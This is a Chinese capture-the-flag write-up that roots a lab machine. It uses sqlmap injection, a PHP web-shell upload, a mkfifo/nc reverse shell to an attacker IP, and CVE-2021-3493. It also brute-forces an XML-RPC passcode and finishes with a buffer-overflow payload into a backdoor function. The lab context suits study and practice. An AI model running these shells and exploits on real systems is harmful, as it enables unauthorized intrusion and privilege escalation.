前言
这是打靶训练的第8周,目标得到root权限,也是目前遇到靶机中,难度最大的一个,毕竟涉及到了pwn。靶机链接。
信息搜集
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
8000/tcp open http-alt
访问80端口,是个登录页面,不知道邮箱和密码。
点击Sign up注册一个用户,登录进去后
admin发布的文章提到,他说他正在运行一个叫monitor.py脚本,所以等后面getshell后要重点关注一下。
经过大量的点击发现http://192.168.41.132/profile.php?id=1
存在sql注入
使用python sqlmap.py -u "http://192.168.41.132/profile.php?id=1" --cookie="PHPSESSID=gc1iqv161bl9csuv7 di0a1sasg" --dbs
得到下面信息
available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] socialnetwork
[*] sys
在socialnetwork数据库中,得到了用户名和密码(包括管理员),后面没发现可利用点于是放弃了sql注入。
getshell
先随便留个言
再点击上面的Profile,来到个人配置信息栏。如果不留言的话,是无法更改自己的配置信息的。点击Upload image直接上传shell.php
蚁剑可成功连接
权限提升
当拿到蚁剑的shell时,建议把shell弹到任意终端,不要使用蚁剑的shell管理终端。因为它这个终端非常的不健全,所以对后继的提权等等操作都是非常不利的。
klai监听4444,发现靶机的nc 没有-e参数,这里使用一种新的反弹shell方式。rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.41.130 4444 >/tmp/f
,可成功反弹。
CVE-2021-3493
使用CVE-2021-3493可直接提权。将exploit.c上传后,使用以下命令
gcc -o exp exploit.c
chmod 777 exp
./exp
缓冲区溢出
在前不久才爆发出的CVE-2021-3493漏洞,所以可以直接利用成功。而这台靶机是2020年发布的,所以作者的本意,是想让我们用其他方式来获取root权限。
来到/home/socnet
,果然发现了管理员提到的monitor.py,而且这个peda是一款实用的GDB插件,强大的动态调试工具。
得到monitor.py源码
#my remote server management API
import SimpleXMLRPCServer
import subprocess
import random
debugging_pass = random.randint(1000,9999)
def runcmd(cmd):
results = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
output = results.stdout.read() + results.stderr.read()
return output
def cpu():
return runcmd("cat /proc/cpuinfo")
def mem():
return runcmd("free -m")
def disk():
return runcmd("df -h")
def net():
return runcmd("ip a")
def secure_cmd(cmd,passcode):
if passcode==debugging_pass:
return runcmd(cmd)
else:
return "Wrong passcode."
server = SimpleXMLRPCServer.SimpleXMLRPCServer(("0.0.0.0", 8000))
server.register_function(cpu)
server.register_function(mem)
server.register_function(disk)
server.register_function(net)
server.register_function(secure_cmd)
server.serve_forever()
看第一行的注释是一个远程服务管理的api,而SimpleXMLRPCServer是一个服务器框架。第31行意思是,在本地8000端口启动了一个http服务。
而前面nmap扫描到了一个8000端口,我们先访问一下
提示禁止用get请求访问,用burp中将get数据转换成post,发包访问
上面响应的数据,依然看不懂,回到前面说的SimpleXMLRPCServer,既然有服务端,那肯定有客户端。在XML-RPC 客户端访问,得到了我想要的答案。
根据官网的实例,依葫芦画瓢,先执行一下第22行的net()函数,成功访问到数据
再次分析上面的代码重点看下面几行,我把重要的代码都放过来了。
debugging_pass = random.randint(1000,9999)
def secure_cmd(cmd,passcode):
if passcode==debugging_pass:
return runcmd(cmd)
else:
return "Wrong passcode."
先生成一个1000-9999之间的随机数,赋值给debugging_pass。第4行判断passcode是否等于debugging_pass,如果相等就执行runcmd(cmd)函数,否则打印Wrong passcode.。这里直接暴力破解出debugging_pass的值,代码如下
import xmlrpc.client
with xmlrpc.client.ServerProxy("http://192.168.41.132:8000/") as proxy:
cmd = "whoami"
for i in range(1000, 10000):
if proxy.secure_cmd(cmd, i) == "Wrong passcode.":
continue
print(proxy.secure_cmd(cmd, i))
print("密码{}".format(i))
break
执行后得到密码6304,whoami也成功执行,得到socnet
kali再次监听5555端口,上面的代码中的第4行换成cmd = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.41.130 5555 >/tmp/f"
,再次成功反弹
执行python -c "import pty; pty.spawn('/bin/bash')"
实现交互式命令行
再次来到/home/socnet
,发现add_record有root权限
先./add_record
执行一下,看是什么东西
让输入Employee Name,Years worked,Salary,是否遇到困难,Explain。一共有5处地方让我们输入,所以要在这几处位置找到可能会有缓冲区溢出的地方。
输入gdb -q ./add_record
来加载add_record,如果有缓冲区溢出的地方,将会被自动捕获。
这个时候add_record并没有被执行起来,所以输入r
将开始执行,在此之前先用python生成200个A。原因是只要输入的字符够长,在输入的位置就有可能出现缓冲区溢出。
这里并没有捕获到缓冲区溢出,后面多次尝试发现在Explain:
处存在缓冲区溢出,将200个A复制粘贴回车后
有点汇编基础的知道EIP存放的是下一条要执行的指令地址,所以要计算出第几个字符被填充到EIP。而自己测试,是非常慢的。这里也是用gdb自带的生成字符命令。
输入pattern create 100
,生成100个字符的payload
再次执行,EIP被AHAA字符填充,现在要获取AHAA在这100个字符的位置
输入pattern search
,自动计算出EIP的位置是第62个字符起
所以第63个字符开始就是EIP的位置,先生成字符print("A" * 62 + "BCDE")
,运行后
EIP确实被BCDE填充,计算是正确的。只要将EIP的下一条地址指向shell命令所在的内存地址,就能提权成功。
disas main
,查看main函数的汇编代码,发现了一个叫vuln的函数,感觉非常的可疑
info func
,查看此程序用了那些函数
其中调用了system和setuid函数,一个叫backdoor的函数是最可疑的,非常怀疑这是作者留下的后门
disas vuln
,查看vuln函数的汇编代码
其中有个strcpy函数,此函数可能会产生缓冲区溢出
disas backdoor
,查看backdoor函数的汇编代码
可看到backdoor函数调用了setuid和system函数,尝试执行操作系统的指令。
所以如果能执行backdoor函数,那么有可能就能提权成功,现在应该把起始地址0x08048676
,写进EIP寄存器。
python -c "import struct;print('1\n1\n1\n1\n' + 'A' * 62 + struct.pack('I', 0x08048676))" > payload.txt
先按q
退出程序,在靶机上执行上面命令,得到payload.txt
这个乱码是正确的,然后要将这整个payload文件发给add_record
执行cat payload.txt - | ./add_record
,提权成功
中间有很多调试步骤,我也懒得截图了。